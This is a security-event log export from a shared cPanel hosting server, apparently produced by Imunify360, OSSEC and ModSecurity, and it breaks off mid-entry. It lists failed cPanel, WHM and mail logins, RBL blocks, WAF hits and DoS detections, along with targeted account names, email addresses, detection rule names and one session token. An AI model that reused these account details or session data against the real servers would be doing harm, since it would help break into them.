rule: 11000
name: Login failed on the cpanel service.
abuser: 176.5.195.223
country_id: 2921044
description:
[2026-06-28 07:20:32 +0000] info [cpaneld] 176.5.195.223 - togoi "GET /login/?login_only=1&user=togoi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.36.133.66
country_id: 3469034
description:
[2026-06-28 07:20:36 +0000] info [cpaneld] 189.36.133.66 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 150.228.93.27
country_id: 3175395
description:
[2026-06-28 07:20:23 +0000] info [cpaneld] 150.228.93.27 - togointe "GET /login/?login_only=1&user=togointe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.22.146.115
country_id: 1605651
description:
[2026-06-28 07:20:39 +0000] info [cpaneld] 184.22.146.115 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.17.153.94
country_id: 3469034
description:
[2026-06-28 07:20:45 +0000] info [cpaneld] 201.17.153.94 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.206.253.237
country_id: 2017370
description:
[2026-06-28 07:20:10 +0000] info [cpaneld] 178.206.253.237 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.121.203.149
country_id: 3469034
description:
[2026-06-28 07:20:15 +0000] info [cpaneld] 189.121.203.149 - togointerim "GET /login/?login_only=1&user=togointerim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.245.163.178
country_id: 3996063
description:
[2026-06-28 07:20:28 +0000] info [cpaneld] 177.245.163.178 - togoin "GET /login/?login_only=1&user=togoin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.29.66
country_id: 933860
description:
Jun 28 07:22:17 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.29.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.161.26.125
country_id: 1835841
description:
Jun 28 07:23:33 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.161.26.125 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.151.188.132
country_id: 3017382
description:
176.151.188.132 - - [28/Jun/2026:07:23:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158343&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-25114mitems%252Feti.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782631428 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-25114mitems/eti.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.151.188.132


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.11
country_id: 3469034
description:
Jun 28 07:23:03 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.38
country_id: 3175395
description:
Jun 28 07:23:23 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.38 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.119.248.210
country_id: 953987
description:
[2026-06-28 07:24:17 +0000] info [cpaneld] 160.119.248.210 - moder "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user moder (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.52.241.49
country_id: 3469034
domain: soena.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/soena.tg/home-v1/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.97.49.1
country_id: 2623032
description:
[2026-06-28 07:33:34 +0000] info [cpaneld] 37.97.49.1 - tkpangbanou@otr.tg "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 07:35:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.192.106.88
country_id: 3469034
description:
[2026-06-28 07:36:41 +0000] info [cpaneld] 186.192.106.88 - admin "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 207.244.117.152
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:207.244.117.152||TA:207.244.117.152||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 216.251.143.109
country_id: 6251999
description:
216.251.143.109 - - [28/Jun/2026:07:39:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10133144&pdata=https%253A%252F%252Ftogomedia24.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782632358 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.251.143.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.229.36.2
country_id: 1605651
description:
[2026-06-28 07:39:46 +0000] info [whostmgrd] 49.229.36.2 - stephane.o@cafe.tg "POST /login/ HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.62
country_id: 3175395
description:
Jun 28 07:44:06 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.46
country_id: 6252001
description:
205.169.39.46 - - [28/Jun/2026:07:47:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6736491&pdata=http%253A%252F%252Fv2.arse.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782632838 HTTP/1.1" 302 0 v2.arse.tg "http://v2.arse.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.46


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.100.152.27
country_id: 3469034
description:
[2026-06-28 07:49:27 +0000] info [whostmgrd] 131.100.152.27 - root "POST /login/ HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.138.238
country_id: 690791
description:
Jun 28 07:53:22 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.138.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.122.162
country_id: 226074
description:
Jun 28 07:53:24 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.122.162 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 43.152.72.247
country_id: 1880251
domain: zephyr.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/19||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.24.105
country_id: 6252001
description:
47.251.24.105 - - [28/Jun/2026:07:55:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950124&pdata=https%253A%252F%252Fwww.pub.soena.tg%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782633317 HTTP/2.0" 302 0 www.pub.soena.tg "https://www.pub.soena.tg:2083/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.24.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.49.130.81
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/electricite-la-ceet-annonce-des-perturbations-cette-semaine-a-lome/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.49.130.81
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/electricite-la-ceet-annonce-des-perturbations-cette-semaine-a-lome/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.163.0
country_id: 2363686
description:
102.64.163.0 - - [28/Jun/2026:08:00:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712219&pdata=https%253A%252F%252Fcentif.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782633650 HTTP/2.0" 302 0 centif.tg "https://centif.tg:2096/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.163.0


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 14.238.249.210
country_id: 1562822
description:
Denial of Service (DoS) attack was discovered from 14.238.249.210: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 122.185.34.194
country_id: 1269750
description:
[2026-06-28 08:02:15 +0000] info [whostmgrd] 122.185.34.194 - moder "POST /login/ HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 103.77.107.147
country_id: 1643084
description:
Denial of Service (DoS) attack was discovered from 103.77.107.147: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.86.7.39
country_id: 226074
description:
[2026-06-28 08:04:26 +0000] info [cpaneld] 102.86.7.39 NEW pnls:o5SJNBPeOozQV77J address=102.86.7.39,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.165.241
country_id: 2077456
domain: 24heureinfo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:92.112.165.241||TA:92.112.165.241||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 08:17:08 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.38.227
country_id: 1562822
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-json/wp/v2/posts/14967 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.150
country_id: 3469034
description:
Jun 28 08:20:39 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 79.133.190.225
country_id: 1522867
description:
2026-06-28 08:20:07 H=([79.133.190.225]) [79.133.190.225]:64413 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.112.179.35
country_id: 3469034
description:
Jun 28 08:22:51 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.112.179.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.137.32
country_id: 2510769
description:
Jun 28 08:23:45 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.137.32 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.134.104.121
country_id: 1880251
description:
43.134.104.121 - - [28/Jun/2026:08:24:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10051943&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftogo-le-parlement-adopte-une-loi-contre-le-faux-monnayage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782635086 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.134.104.121


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.245.246.26
country_id: 1835841
description:
Jun 28 08:26:52 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.245.246.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-06-28 08:26:54 dovecot_login authenticator failed for H=([49.125.201.87]) [106.245.246.26]:35312: 535 Incorrect authentication data (set_id=hbaniza@otr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.74.34.30
country_id: 630336
description:
2026-06-28 08:27:15 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [77.74.34.30]:50819: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.14.78
country_id: 6252001
description:
[2026-06-28 08:26:59 +0000] info [cpaneld] 195.63.14.78 - pkyvzjjc "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.74.34.30
country_id: 630336
description:
Jun 28 08:27:13 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.74.34.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.64.94
country_id: 3469034
description:
2026-06-28 08:27:41 dovecot_login authenticator failed for H=([70.166.167.35]) [187.8.64.94]:53421: 535 Incorrect authentication data (set_id=contact)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.212.168.172
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:162.212.168.172||TA:162.212.168.172||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.195.150.115
country_id: 1814991
description:
2026-06-28 08:29:48 dovecot_plain authenticator failed for H=(1gpovtzcf6klt1h7de40lk) [118.195.150.115]:33948: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.172.80.185
country_id: 1269750
description:
Jun 28 08:37:03 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.172.80.185 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.173.176.152
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/produit/c5/?add-to-cart=9311||QS:add-to-cart=9311||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.172.80.185
country_id: 1269750
description:
2026-06-28 08:37:05 dovecot_plain authenticator failed for H=(localhost) [122.172.80.185]:31215: 535 Incorrect authentication data (set_id=ekma@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.24.56
country_id: 2635167
description:
[2026-06-28 08:37:36 +0000] info [cpaneld] 195.63.24.56 - sadis "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.93.221
country_id: 2635167
description:
[2026-06-28 08:37:44 +0000] info [cpaneld] 217.181.93.221 - glfmqhlj "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.92.251.198
country_id: 1814991
description:
2026-06-28 08:39:28 dovecot_login authenticator failed for H=(177-72-87-7.static.as262543.net.br) [218.92.251.198]:53877: 535 Incorrect authentication data (set_id=dgbolovi@armp.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.83.242
country_id: 6251999
description:
[2026-06-28 08:39:33 +0000] info [cpaneld] 217.181.83.242 - ljrwwgxg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.81.228
country_id: 6251999
description:
[2026-06-28 08:39:22 +0000] info [cpaneld] 217.181.81.228 - ubwmytwf "GET / HTTP/1.1" FAILED LOGIN cpaneld: User ubwmytwf has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.92.251.198
country_id: 1814991
description:
Jun 28 08:39:26 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.92.251.198 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.16.88
country_id: 6251999
description:
[2026-06-28 08:40:35 +0000] info [cpaneld] 195.63.16.88 - apicafe "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.73.21
country_id: 1512440
domain: bawasongroup.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.58.130.119
country_id: 1269750
description:
2026-06-28 08:40:39 dovecot_plain authenticator failed for H=(localhost) [152.58.130.119]:51771: 535 Incorrect authentication data (set_id=ekma@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.16.196
country_id: 6251999
description:
[2026-06-28 08:41:15 +0000] info [cpaneld] 195.63.16.196 - arsetg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 177.92.143.239
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 177.92.143.239: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.17.149
country_id: 6251999
description:
[2026-06-28 08:42:15 +0000] info [cpaneld] 195.63.17.149 - pjwfvzan "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.81.187
country_id: 6251999
description:
[2026-06-28 08:42:20 +0000] info [cpaneld] 217.181.81.187 - nadngfzn "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.83.57
country_id: 6251999
description:
[2026-06-28 08:42:54 +0000] info [cpaneld] 217.181.83.57 - dmmkifel "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.81.196
country_id: 6251999
description:
[2026-06-28 08:43:18 +0000] info [cpaneld] 217.181.81.196 - himcuijv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.69.21
country_id: 6252001
description:
[2026-06-28 08:45:53 +0000] info [cpaneld] 217.181.69.21 - cietg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.68.144
country_id: 6252001
description:
[2026-06-28 08:45:42 +0000] info [cpaneld] 217.181.68.144 - zgqykfsi "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.121.56.23
country_id: 2589581
description:
2026-06-28 08:45:47 dovecot_plain authenticator failed for H=(localhost) [154.121.56.23]:57657: 535 Incorrect authentication data (set_id=wacem@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.75.227
country_id: 6252001
description:
[2026-06-28 08:45:48 +0000] info [cpaneld] 217.181.75.227 - vefzejhd "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.67.92
country_id: 6252001
description:
[2026-06-28 08:46:45 +0000] info [cpaneld] 217.181.67.92 - camaegdtomgo "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.66.251
country_id: 6252001
description:
[2026-06-28 08:45:58 +0000] info [cpaneld] 217.181.66.251 - egjvuiox "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.75.248
country_id: 6252001
description:
[2026-06-28 08:46:41 +0000] info [cpaneld] 217.181.75.248 - assedderetrm "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-06-28 08:46:51 dovecot_login authenticator failed for H=([196.189.124.229]) [122.176.45.238]:47233: 535 Incorrect authentication data (set_id=dfc.recoupements@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.176.45.238
country_id: 1269750
description:
Jun 28 08:46:49 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.176.45.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.6.102.120
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/videos HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.83.23.169
country_id: 1168579
description:
Jun 28 08:47:38 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.83.23.169 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.72.14
country_id: 6252001
description:
[2026-06-28 08:48:13 +0000] info [cpaneld] 217.181.72.14 - muzsajnk "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.65.193
country_id: 6252001
description:
[2026-06-28 08:48:42 +0000] info [cpaneld] 217.181.65.193 - afdim "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.79.238
country_id: 6252001
description:
[2026-06-28 08:48:46 +0000] info [cpaneld] 217.181.79.238 - cfpjusti "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.6.102.120
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/siteweb/public/videos/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.69.223
country_id: 6252001
description:
[2026-06-28 08:48:28 +0000] info [cpaneld] 217.181.69.223 - centif "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.68.148
country_id: 6252001
description:
[2026-06-28 08:49:57 +0000] info [cpaneld] 217.181.68.148 - cloudetracks "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.68.208
country_id: 6252001
description:
[2026-06-28 08:50:28 +0000] info [cpaneld] 217.181.68.208 - fnnjmavs "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.172.227.242
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:08-50.107.172.227.242||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.72.182
country_id: 6252001
description:
[2026-06-28 08:50:04 +0000] info [cpaneld] 217.181.72.182 - ygeaivhj "GET / HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.19.161.224
country_id: 1814991
description:
2026-06-28 08:51:06 dovecot_login authenticator failed for H=([112.199.178.158]) [112.19.161.224]:45034: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.72.244
country_id: 6252001
description:
[2026-06-28 08:51:32 +0000] info [cpaneld] 217.181.72.244 - wcdxbboq "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.69.253
country_id: 6252001
description:
[2026-06-28 08:52:27 +0000] info [cpaneld] 217.181.69.253 - myxlsnta "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.189.88.12
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/oxfam-tire-la-sonnette-dalarme-sur-loligarchie-des-ultra-riches/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.189.88.12
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/oxfam-tire-la-sonnette-dalarme-sur-loligarchie-des-ultra-riches/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.74.68
country_id: 6252001
description:
